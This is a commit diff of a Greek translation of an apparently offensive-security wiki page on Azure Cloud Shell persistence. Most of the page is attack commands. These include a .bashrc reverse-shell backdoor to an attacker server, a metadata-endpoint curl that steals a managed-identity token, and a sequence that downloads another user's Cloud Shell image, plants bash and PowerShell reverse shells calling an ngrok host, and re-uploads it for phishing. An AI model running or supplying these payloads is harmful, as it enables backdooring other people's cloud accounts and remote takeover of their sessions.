Translated ['src/pentesting-cloud/azure-security/az-persistence/az-cloud

This commit is contained in:
Translator
2025-05-12 19:25:48 +00:00
parent 061e1274cf
commit c6bb131d7f
@@ -4,14 +4,14 @@
## Cloud Shell Persistence
Το Azure Cloud Shell προσφέρει πρόσβαση γραμμής εντολών για τη διαχείριση πόρων Azure με μόνιμη αποθήκευση και αυτόματη πιστοποίηση. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό το χαρακτηριστικό τοποθετώντας backdoors στον μόνιμο κατάλογο αρχικής:
Azure Cloud Shell προσφέρει πρόσβαση μέσω γραμμής εντολών για τη διαχείριση πόρων Azure με μόνιμη αποθήκευση και αυτόματη αυθεντικοποίηση. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό το χαρακτηριστικό τοποθετώντας backdoors στον μόνιμο κατάλογο αρχικής:
* **Persistent Storage**: Ο κατάλογος αρχικής του Azure Cloud Shell είναι τοποθετημένος σε ένα Azure file share και παραμένει ανέπαφος ακόμη και μετά την ολοκλήρωση της συνεδρίας.
* **Startup Scripts**: Αρχεία όπως το .bashrc εκτελούνται αυτόματα στην αρχή κάθε συνεδρίας, επιτρέποντας τη μόνιμη εκτέλεση όταν ξεκινά το cloud shell.
* **Startup Scripts**: Αρχεία όπως το `.bashrc` ή `config/PowerShell/Microsoft.PowerShell_profile.ps1` εκτελούνται αυτόματα στην αρχή κάθε συνεδρίας, επιτρέποντας τη μόνιμη εκτέλεση όταν ξεκινά το cloud shell.
Example backdoor in .bashrc:
```bash
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
```
Αυτή η πίσω πόρτα μπορεί να εκτελεί εντολές ακόμη και 5 λεπτά μετά την ολοκλήρωση του cloud shell από τον χρήστη.
@@ -19,4 +19,41 @@ echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/
```bash
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
```
### Cloud Shell Phishing
Αν ένας επιτιθέμενος βρει εικόνες άλλων χρηστών σε έναν Storage Account στον οποίο έχει δικαιώματα εγγραφής και ανάγνωσης, θα μπορέσει να κατεβάσει την εικόνα, **να προσθέσει ένα bash και PS backdoor σε αυτήν**, και να την ανεβάσει ξανά στον Storage Account ώστε την επόμενη φορά που ο χρήστης θα έχει πρόσβαση στο shell, οι **εντολές θα εκτελούνται αυτόματα**.
- **Download, backdoor and upload the image:**
```bash
# Download image
mkdir /tmp/phishing_img
az storage file download-batch -d /tmp/phishing_img --account-name <acc-name> -s <file-share>
# Mount the image
mkdir /tmp/backdoor_img
sudo mount ./.cloudconsole/acc_carlos.img /tmp/backdoor_img
cd /tmp/backdoor_img
# Create backdoor
mkdir .config
mkdir .config/PowerShell
touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1
# Bash backdoor
echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc
# PS backdoor
echo '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19838);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' >> .config/PowerShell/Microsoft.PowerShell_profile.ps1
# Unmount
cd /tmp
sudo umount /tmp/backdoor_img
# Upload image
az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img" -s <file-share>
```
- **Στη συνέχεια, ψαρέψτε τον χρήστη για να αποκτήσετε πρόσβαση στο https://shell.azure.com/**
{{#include ../../../banners/hacktricks-training.md}}